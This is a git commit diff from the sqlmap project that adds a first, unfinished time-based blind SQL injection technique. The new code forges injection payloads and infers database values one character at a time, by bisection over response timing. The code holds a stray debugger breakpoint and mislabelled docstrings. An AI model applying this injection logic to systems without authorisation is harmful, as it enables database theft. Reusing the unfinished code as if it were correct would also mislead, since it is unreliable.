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https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
sqlmap premiere of blind time based query/bisection
This commit is contained in:
Miroslav Stampar
parent
ad00fe13c1
commit
b5e45939e3
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@ -99,9 +99,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
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parameter through a bisection algorithm.
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"""
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if kb.injection.data[1].vector is not None:
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vector = agent.cleanupPayload(kb.injection.data[1].vector)
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kb.pageTemplate = getPageTemplate(kb.injection.data[1].templatePayload, kb.injection.place)
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if kb.technique and kb.injection.data[kb.technique].vector is not None:
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vector = agent.cleanupPayload(kb.injection.data[kb.technique].vector)
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kb.pageTemplate = getPageTemplate(kb.injection.data[kb.technique].templatePayload, kb.injection.place)
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else:
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vector = queries[kb.misc.testedDbms].inference.query
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kb.pageTemplate = kb.originalPage
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@ -336,6 +336,72 @@ def __goError(expression, resumeValue=True):
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return result
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def __goTimeBlind(expression, resumeValue=True):
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"""
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Retrieve the output of a SQL query taking advantage of an error-based
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SQL injection vulnerability on the affected parameter.
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"""
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result = None
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if conf.direct:
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return direct(expression), None
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condition = (
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kb.resumedQueries and conf.url in kb.resumedQueries.keys()
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and expression in kb.resumedQueries[conf.url].keys()
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)
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if condition and resumeValue:
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result = resume(expression, None)
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if not result:
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result = timeBlindUse(expression)
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dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result)))
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return result
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def timeBlindUse(expression):
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"""
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Retrieve the output of a SQL query taking advantage of an error SQL
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injection vulnerability on the affected parameter.
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"""
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output = None
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import pdb
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pdb.set_trace()
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vector = agent.cleanupPayload(kb.injection.data[5].vector)
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query = unescaper.unescape(vector)
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query = agent.prefixQuery(query)
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query = agent.suffixQuery(query)
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check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
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_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
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nulledCastedField = agent.nullAndCastField(fieldToCastStr)
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if kb.dbms == DBMS.MYSQL:
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nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
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expression = expression.replace(fieldToCastStr, nulledCastedField, 1)
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expression = unescaper.unescape(expression)
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expression = safeStringFormat(query, expression)
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debugMsg = "query: %s" % expression
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logger.debug(debugMsg)
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payload = agent.payload(newValue=expression)
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reqBody, _ = Request.queryPage(payload, content=True)
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output = extractRegexResult(check, reqBody, re.DOTALL | re.IGNORECASE)
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if output:
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output = output.replace(kb.misc.space, " ")
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if conf.verbose > 0:
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infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
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logger.info(infoMsg)
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return output
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def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an inband SQL
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@ -365,7 +431,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
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return data
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def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
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def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter. It can call a function to retrieve the output
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@ -379,7 +445,7 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex
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if conf.direct:
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value = direct(expression)
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elif kb.booleanTest is not None or kb.errorTest is not None or kb.unionTest is not None:
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elif kb.booleanTest is not None or kb.errorTest is not None or kb.unionTest is not None or kb.timeTest is not None:
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expression = cleanQuery(expression)
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expression = expandAsteriskForColumns(expression)
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value = None
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@ -412,6 +478,10 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex
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kb.technique = 1
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value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
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if time and kb.timeTest and not value:
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kb.technique = 5
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value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
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kb.unionNegative = oldParamNegative
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if value and isinstance(value, basestring):
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@ -44,6 +44,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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partialValue = ""
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finalValue = ""
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asciiTbl = getCharset(charsetType)
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timeBasedCompare = (kb.technique == 5)
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# Set kb.partRun in case "common prediction" feature (a.k.a. "good
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# samaritan") is used
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@ -122,7 +123,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, posValue))
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queriesCount[0] += 1
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result = Request.queryPage(forgedPayload)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare)
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if result:
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return hintValue[idx-1]
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@ -153,7 +154,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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if len(charTbl) == 1:
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forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0]))
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queriesCount[0] += 1
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result = Request.queryPage(forgedPayload)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare)
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if result:
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return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0])
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@ -174,7 +175,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
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queriesCount[0] += 1
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result = Request.queryPage(forgedPayload)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare)
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if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB):
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posValue = popValue()
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@ -226,7 +227,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
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forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal))
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queriesCount[0] += 1
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result = Request.queryPage(forgedPayload)
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result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare)
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if result:
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return chr(retVal) if retVal < 128 else unichr(retVal)
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@ -444,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
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query = agent.suffixQuery(query)
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queriesCount[0] += 1
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result = Request.queryPage(agent.payload(newValue=query))
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result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare)
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# Did we have luck?
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if result:
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@ -468,7 +469,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
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query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
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query = agent.suffixQuery(query)
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queriesCount[0] += 1
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result = Request.queryPage(agent.payload(newValue=query))
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result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare)
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# Did we have luck?
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if result:
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